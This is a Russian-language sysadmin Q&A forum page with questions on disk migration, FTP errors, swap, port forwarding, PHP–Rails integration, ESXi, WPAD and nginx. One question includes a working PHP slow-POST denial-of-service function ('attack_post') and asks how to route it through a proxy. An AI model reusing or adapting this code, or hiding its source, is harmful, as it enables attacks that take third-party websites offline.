Любые обсуждения по этой теме. Само-пиар или резюме публиковать на другие наши проекты, например host.camp или vm.center. Тут только клиентские запросы на помощь.
  • Дата создания
    17 марта 2019
  • Топиков
    908
  • Ограничение на постинг
    0.000
  • Категория:
    Администрирование и настройка

Как правильно перенести виртуальную машину на диск меньшего размера?

Доброго времени суток.
У меня такая ситуация нужно перенести систему с большего диска на меньший, причем структура такая. Диск 100Гб, boot раздел fat32, остальное в LVM — в системе используется не более 20Гб, нужно перенести на диск с 50Гб сохраняя рабочее состояние, на несколько часов машину можно потушить.

Для тестов я создал виртуалку и пробую на ней. Всё ли верно и есть ли способ упростить всё это?
Общий алгоритм переноса на новый диск я вижу таким
1. Подключаем новый диск /dev/sdb
2. Загружаемся с LiveCD (sysresccd)
3. Разбиваем новый диск посредством fdisk как целевой (sfdisk -d не катит, т.к новый диск меньше)
(Почему не получилось создать /dev/sdb5 с началом 501760, fdisk показал первым сектором 501758 я так и не понял)
fdisk -l /dev/sda
Disk /dev/sda: 10 GiB
Device Boot Start End Blocks Id System
/dev/sda1 * 2048 499711 248832 83 Linux
/dev/sda2 501758 20969471 10233857 5 Extended
/dev/sda5 501760 20969471 10233856 8e Linux LVM
Читать дальше

Ошибка при подключение к фтп «Не удалось получить список каталогов», в чем может быть проблема?

Здравствуйте. Сегодня сталкнулся внезапно с такой проблемой что не получается подключиться к FTP серверу, практически к любому, выводит следующие ошибки:

[R] Connection lost: 188.40.52.228 [R] List Error [R] Connecting to 188.40.52.228 -> IP=188.40.52.228 PORT=21 [R] Connected to 188.40.52.228 [R] 220 ProFTPD 1.3.4a Server (Debian) [::ffff:188.40.52.228] [R] USER moslem [R] 331 Password required for moslem [R] PASS (hidden) [R] 230 User moslem logged in [R] SYST [R] 215 UNIX Type: L8 [R] FEAT [R] 211-Features: [R] MDTM [R] MFMT [R] TVFS [R] UTF8 [R] MFF modify;UNIX.group;UNIX.mode; [R] MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*; [R] LANG it-IT;en-US*;zh-CN;fr-FR;zh-TW;ko-KR;bg-BG;ru-RU;ja-JP [R] SITE MKDIR [R] SITE RMDIR [R] SITE UTIME [R] SITE SYMLINK [R] REST STREAM [R] SIZE [R] 211 End [R] CWD / [R] 250 CWD command successful [R] PWD [R] 257 "/" is the current directory [R] PASV mode failed, trying PORT mode. [R] TYPE A [R] 200 Type set to A [R] Listening on PORT: 49477, Waiting for connection. [R] PORT 192,168,0,106,193,69 [R] 500 Illegal PORT command [R] List Error

По чему не работает PHP код получения страницы по HTTP?

По чему не работает код (он пишет только «Result:» и пустота, см. hosthack.tk/?server=hostinger.ru&num=1 и вообще загружается 12 секунд):

echo 'Result:

'."\n"; $request = «GET / HTTP/1.1\r\n»; $request .= «Host: ».$_GET[server]."\r\n"; $request .= «User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n»; $page=@fsockopen($_GET[server], 80, $errno, $errstr); $text=fgets($page); $text=substr($text, 0, strripos($text, ' ')); $text=str_replace("\r\n", ' ', $text); $text=str_replace("\n", ' ', $text); $text=str_replace('

Значит ли это, что на сервере два swap файла?

VDS 2gb ram.
Сделал swap file, смотрю, а там еще partition значится…
Не значит ли это, что у меня два swap файла и один надо убрать?
Или один?

swapon -s Filename Type Size Used Priority /dev/sda2 partition 2099196 0 -1 /swapfile file 4194300 0 -2

и в fstab
# /dev/sda1 / ext3 errors=remount-ro 0 1 /dev/sda2 swap swap defaults 0 0 /swapfile swap swap defaults 0 0 proc /proc proc defaults 0 0 sysfs /sys sysfs defaults 0 0 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts defaults 0 0

Как в php все совершенно интернет-подключения проводить через прокси без установки программ?

Как в php интернет-подключение проводить через прокси без установки программ (например, cURL надо устанавливать — не подходит)?

Как вот этот код переделать под прокси?
function attack_post($server, $host){ $request = «POST /».md5(rand())." HTTP/1.1\r\n"; $request .= «Host: $host\r\n»; $request .= «User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n»; $request .= «Keep-Alive: 900\r\n»; $request .= «Content-Length: 1000000000\r\n»; $request .= «Content-Type: application/x-www-form-urlencoded\r\n»; $request .= «Accept: *.*\r\n»; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); while (true){ if (@fwrite($sockfd, ".") !== FALSE){ echo "."; sleep(1); }else{ echo "\nOne post attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } } }

Не пробрасываются порты извне через роутер. Почему они фильтруются?

Роутер (ASUS RT-N10PV2) выходит через белый ip от провайдера. Веб-интерфейс повесил на 8081 порт.
В локальной сети есть linux сервер. 80 порт nginx, 8080 порт apache, 53 порт dns.

В настройках роутерах включил forwarding данных портов.

HTTP Server 80 192.168.1.11 80 BOTH
Где 192.168.1.11 — локальный ip сервера.

Но извне всё равно выдает что порт закрыт. а 8081 открыт. До этого веб-интерфейс роутера стоял на 80ом порте и этот порт был тоже открыт.

Starting Nmap 6.47 ( nmap.org ) at 2015-05-05 02:46 Coordinated Universal Time Nmap scan report for 161.*.189.89.sta.211.ru (89.189.*.161) Host is up (0.11s latency). Not shown: 94 closed ports PORT STATE SERVICE 22/tcp filtered ssh 23/tcp open telnet 53/tcp filtered domain 80/tcp filtered http 8080/tcp filtered http-proxy 8081/tcp open blackice-icecap Nmap done: 1 IP address (1 host up) scanned in 3.29 seconds
— вывод nmap.

Почему эти порты фильтруются? Фаерволл отключен. iptables не мешает. сервер выдает что данные порты прослушиваются.
Это проделки провайдера? Но почему тогда 80ый порт был открыт, когда на нем висел интерфейс роутера.

Как совместить PHP-библиотеку и Rails-приложение?

Всем доброго времени суток.
Дано приложение на Ruby on Rails. Замечательно написанное(с моей точки зрения), прекрасно работает и т.д. В качестве веб-сервера apache + mod__rails от passenger.
Также, имеется сторонняя библиотека, написанная на PHP, которая отлично выполняет то что нужно, в конкретном случае сбор, систематизация и выгрузка данных. Если это имеет значение — это некий новостной агрегатор, которой считает количество упоминаний(город, ФИО человека, название предприятия и т.д.) по разным источникам, и на этой основе выводит какие-то коэфиценты. Заказчику они понятны, я в них не вдавался.

Rails-приложение имеет админку, свои настройки и т.д. и также требует данные из PHP-либы для своей работы. В текущем варианте PHP-либа собирает нужную информацию, затем она чем-то там оборачивается и высылает результат своей работы на мыло(есть некий длинный служебный email под все это дело). Rails-приложение раз в N минут проверяет почту и, если там есть письмо от PHP-либы, она обрабатывает эту информацию(проверка на целостность и корректность, не более) и заносит ее к себе в БД.

Как мы все видим, это костыль. Самое правильное здесь решение — взять эту самую PHP-либу и переписать бы ее под Rails, но по срокам я в dead line тогда точно не впишусь(вариант сдвинуть dead line пока не рассматриваем).

Задачу, которую я пытаюсь решить — ускорить работу приложения, т.к. данных у владельца этого решения стало больше и вся описанная выше мною структура начинает уже изрядно тормозить.

Самый логичный вывод — убрать из этой цепочки email, совместив обе части приложения на одном веб-сервере. Вот собственно тут у меня и возникают все проблемы, поскольку я вообще не представляю как это можно сделать. Гугл/Яндекс по этому запросу молчат, либо я туда что-то не то пишу.

Собственно подскажите в какую сторону вообще копать? Есть ли какие-то мануалы на эту тему или хотя бы скиньте ключевые слова для гугла, ибо я сейчас в тупике.

Как настроить локальные диски в ESXi 5.5?

Предыстория:
Приехал сервер ProLiant DL80 Gen9 778641-B21
в нём 4 SATA HDD подключенных к контроллеру HP Smart HBA H240

2 по 500 (модель MB0500GCEHE) собраны в RAID 1:
-Logical Drive 01
Status OK
Capacity 465 GB
Fault Tolerance RAID 1/RAID 1+0
Logical Drive Type Data LUN
Encryption Status Not Encrypted

2 по 4ТБ (модель MB4000GCWDC) так же собратны в RAID1:
-Logical Drive 02
Status OK
Capacity 3725 GB
Fault Tolerance RAID 1/RAID 1+0
Logical Drive Type Data LUN
Encryption Status Not Encrypted
Читать дальше

Как настроить DNS запись WPAD в Windows Server в случае нескольких сайтов AD?

Добрый день.
Имеется:
Windows Server 2012
домен example.com
территориально разделенные офисы
соответствующие им сайты в AD — foo, bar, abc
в каждом офисе присутствует прокси-сервер:
сайт сеть прокси(A) прокси(ip адрес)
foo 192.168.0.0/24 proxy-f.example.com 192.168.0.11
bar 192.168.1.0/24 proxy-b.example.com 192.168.1.11
abc 192.168.2.0/24 proxy-a.example.com 192.168.2.11
DHCP 252 — 'http://proxy-$.example.com/wpad.dat'

Собственно, нужно помимо DHCP раздавать адрес прокси с помощью DNS. В случае одного сайта просто создаем CNAME. Но что делать в случае нескольких сайтов?
UPD1. Есть вариант настройки в самом WPAD:
if (isInNet(myIpAddress(), «192.168.0.0», «255.255.255.0»)) return «PROXY proxy-f.example.com:3128»; if (isInNet(myIpAddress(), «192.168.1.0», «255.255.255.0»)) return «PROXY proxy-b.example.com:3128»; if (isInNet(myIpAddress(), «192.168.2.0», «255.255.255.0»)) return «PROXY proxy-a.example.com:3128»;
но он не устраивает тем, что в случае неполадок с VPN какой-то сайт останется без Интернета. Хотелось бы какое-то более надежное решение, чтобы именно DNS сервер отдавал нужный ip адрес.

Как запустить несколько сайтов на VDS?

Есть VDS на котором установил nginx (запустил сайт на gunicorn+flask)

Как запустить на одной VDS несколько сайтов?

Хочу запустить с помощью вируальных хостов nginx, вот так выглядит настройка для существующего сайта

server { listen 80; server_name mikhailvideo.ru; root /home/alex/www; location / { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { proxy_pass 127.0.0.1:8000; break; } } }